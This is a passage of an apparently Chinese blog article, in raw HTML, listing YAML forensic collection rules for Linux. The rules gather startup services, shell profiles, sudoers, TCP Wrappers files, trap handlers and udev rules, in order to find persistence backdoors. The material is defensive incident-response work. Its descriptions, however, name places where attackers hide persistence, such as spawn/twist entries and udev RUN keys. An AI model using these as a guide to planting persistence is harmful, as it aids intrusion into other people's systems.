1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">Startup.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;LinuxStartupService&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux 平台上开机自启的服务项&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;COMMAND&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;systemctl&#39;</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;list-unit-files&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;--type=service&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;|&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;grep&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;enabled&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">---</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;LinuxStartConfig&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux 平台上开机或登录自启的配置文件&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;FILE&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/etc/rc.local&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/etc/rc.d/rc.local&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/etc/profile&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;PATH&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/etc/rc.d/init.d/&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/etc/profile.d/&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;COMMAND&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;chkconfig&#39;</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;--list&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;FILE&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/etc/bashrc&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;%%users_homedir%%/.bashrc&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;%%users_homedir%%/.bash_profile&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;%%users_homedir%%/.profile&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;%%users_homedir%%/.bash_logout&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Linux 平台上启动项相关信息，包括各种配置文件以及服务。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">Sudo.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;LinuxSudo&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux 平台上 sudo 用于赋予用户特定的权限，可能被利用来进行权限维持。&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;FILE&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/etc/sudo.conf&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/etc/sudoers&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;PATH&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/etc/sudoers.d/&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Linux 平台上 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">sudo</span></code><span leaf=""> 相关的配置信息。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">TCPWrappers.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;LinuxTcpWrappers&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Linux 平台上 TCP Wrappers 是一种用于控制对网络服务访问的安全工具。它可以限制和记录通过 inetd超级服务器启动的服务的访问。\n其配置文件中的 spawn 和 twist 可能会被用来执行命令。&#34;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;FILE&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/etc/hosts.allow&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/etc/hosts.deny&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Linux 平台上 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">TcpWrappers</span></code><span leaf=""> 相关信息。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">Trap.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;LinuxTrap&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux 平台上 trap 是一个内建命令，用于捕获和处理信号，或者在脚本退出时（包括正常退出、异常中断）执行特定的命令。&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;COMMAND&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;trap&#39;</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;-p&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Linux 平台上的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">Trap</span></code><span leaf=""> 信息。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">Udev.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;LinuxUdev&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Linux 平台上 udev 是Linux kernel的设备管理器，主要管理 /dev 目录底下的设备节点。它同时也是用来接替devfs 及 hotplug 的功能，这意味着它要在添加/删除硬件时处理 /dev 目录以及所有用户空间的行为，包括加载固件时。\n\n我们需要着重关注每个规则文件中以下三个关键字(赋值键)：\n- RUN\n- PROGRAM\n- IMPORT&#34;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;PATH&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/etc/udev/rules.d/&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/run/udev/rules.d/&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/lib/udev/rules.d/&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">urls:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;<a href="https://mp.weixin.qq.com/s/t9pOy5MzZ6hxH0gdgprI7g" target="_blank">https://mp.weixin.qq.com/s/t9pOy5MzZ6hxH0gdgprI7g</a>&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Linux 平台上 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">udev</span></code><span leaf=""> 相关信息，主要用于排查 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">udev</span></code><span leaf=""> 后门。</span></p><hr style="height: 1px;margin: 0;margin-top: 10px;margin-bottom: 10px;border: none;border-top: 1px solid black;"/><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">目前 Linux 版本配置如上，如果大家有好的建议，可以提 PR 或者微信联系 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">just_hack_for_fun</span></code><span leaf=""> 反馈。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">往期文章</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247502811&amp;idx=1&amp;sn=bdf64878bb87c64fb898881f5aadd82e&amp;scene=21#wechat_redirect" textvalue="OpenForensicRules 发布！" data-itemshowtype="0" linktype="text" data-linktype="2">OpenForensicRules 发布！</a></span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span 